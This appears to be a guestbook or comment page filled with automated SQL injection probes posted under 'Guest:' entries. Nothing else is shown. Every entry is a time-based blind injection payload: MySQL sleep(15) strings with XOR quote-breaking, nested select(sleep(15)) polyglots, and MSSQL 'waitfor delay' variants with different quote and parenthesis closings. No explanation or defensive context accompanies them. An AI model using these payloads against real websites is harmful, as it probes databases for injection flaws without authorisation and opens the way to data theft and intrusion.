if(now()=sysdate(),sleep(15),0)

Guest:
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
-1; waitfor delay '0:0:15' --

Guest:
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
-1); waitfor delay '0:0:15' --

Guest:
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
-1 waitfor delay '0:0:15' --

Guest:
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
sVxk38Jr'; waitfor delay '0:0:15' --

Guest:
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
jcPSmzvw'); waitfor delay '0:0:15' --

Guest:
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
pNpsgx4e')); waitfor delay '0:0:15' --